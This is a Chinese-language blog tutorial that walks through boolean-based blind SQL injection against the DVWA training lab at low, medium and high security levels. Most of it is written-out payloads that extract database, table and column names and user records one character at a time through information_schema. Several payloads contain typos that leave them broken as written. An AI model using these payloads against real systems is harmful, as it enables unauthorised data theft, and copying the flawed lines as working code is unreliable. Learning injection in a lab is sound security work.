学习渗透日记3 SQL布尔盲注

在布尔盲注中不会出现id,库名,表名,等信息,只能通过页面返回值的是 否来得到信息,因此这就是布尔盲注。

1.低级别布尔注入

以dvwa靶场为例,注入1

ID存在。这就是布尔盲注下一般返回的信息

若存在注入漏洞,1' and 1=2#,输入时网站页面没有返回的结果,则可判断此漏洞为布尔盲注

嗯哼,dvwa是如此显示,表明一定有注入漏洞,但实战时需要进行判断,靶场肯定是有漏洞的!

接着判断 1' and 1=1#

 但是它却有了存在信息。1' and 1=1#,1' and 1=2#两者不一样也可能是数据库存在这种数据,所以最好加上1 输入判断,即 1 和 1' and 1=1#判断结果一样且与2# 不同时,存在布尔注入漏洞。

找到漏洞,接下来盲注库名

其实按上述依次注入1 2 3 4 5 6,到6时就missing了,其实也是判断了有五个用户

首先,需要知道有多少个数据库       count()计数函数

1’ and (select count(schema_name) from information_schema.schemata)=6#

MySQL数据库默认存在information_schema库,这是一个已知的点,但是我们应该将这个库名爆出。

接下来为了查库名,我们应该知道第一个库名的长度

1’ and length((select schema_name from information_schema.schemata limit 0,1))=18#

length()无需多言,长度函数 

 limit()函数看参数:一个参数即为检索前多少行;两个参数(offset,rows)开始于offset+1,检索rows记录

欧克有东西出现,接下来注入第一个库名

1’ and substring((select schema_name from information_schema.schemata limit 0,1),1,1)=‘i’ #

1’ and substring((select schema_name from information_schema.schemata limit 0,1),2,1)=‘n’ #

substring()函数截取对应字符串 即information_schema的前两个字母,注意这里是从0开始计数的

还行,基本了解库名是information_schema,接下来应该查表名了

就不截图了。。。。。。

查表名长度,查表名

1' and count(select count(table_name) from information_schema.tables where table_schema='dvwa')=2#   查dvwa有多少个表

1’ and length((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1))=9 #        查表长

盲注表名

1’ and substring(select table_name from information_schema where tabe_schema =database() limit 0,1),1,1)=‘u’#

1’ and (substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=‘s’ #

1’ and (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=‘e’ #

这样下去其实查的是users表

嗯表名出来了,查列名

查询表内字段

1’ and (select count(column_name) from information_schema.columns where table_schema=database() and tabe_name=‘users’)=8#

判断每一个字段长度

1’ and length((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 0,1))=7#

 1’ and length((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1))=4#

盲注字段名

1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),1,1))=‘u’#

1’ and (substr((select column_name from information_schema.columns where table_schema= ‘dvwa’ and table_name= ‘users’ limit 3,1),2,1))=‘s’#

同理e,r,其实就是user字段

盲注数据

1’ and (select count(*) from dvwa.users)=5#   

判断列中有几条记录

1’ and length(substr((select user from users limit 0,1),1))=5#

判断user这一列的第一条记录的长是否为5

找admin字段

1’ and substr((select user from users limit 0,1),1,1)=‘a’ #

1’ and substr((select user from users limit 0,1),2,1)=‘d’#

判断user这一列的第一条记录的第一个字段是否为a,第二个是否为d

1’ and substr((select user from users limit 1,1),1,1)>‘g’# 

判断user这一列的第二条记录的第一个字段ascii码值是否为大于g

其实,这是基于你对dvwa数据库过于了解的情况下注入才会如此顺利,真实环境往往会更复杂

下图可以对照,此是用navicate连接的XP的PHPstudy环境。

                      

 

低级别注入到此告一段落。

2.中级别布尔注入

先看源码

   mysqli_real_escape_string()函数(箭头所指)过滤了特殊符号,而且设置成了下拉的表单型,

此时可以用burpsuite抓包修改注入修改id,在id=处插入盲注语句

3.高级别布尔注入

 看源码

LIMIT 1在此限制了输出,此下只能出现一个结果,因此可以用#注释掉,之后参照低级别。

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值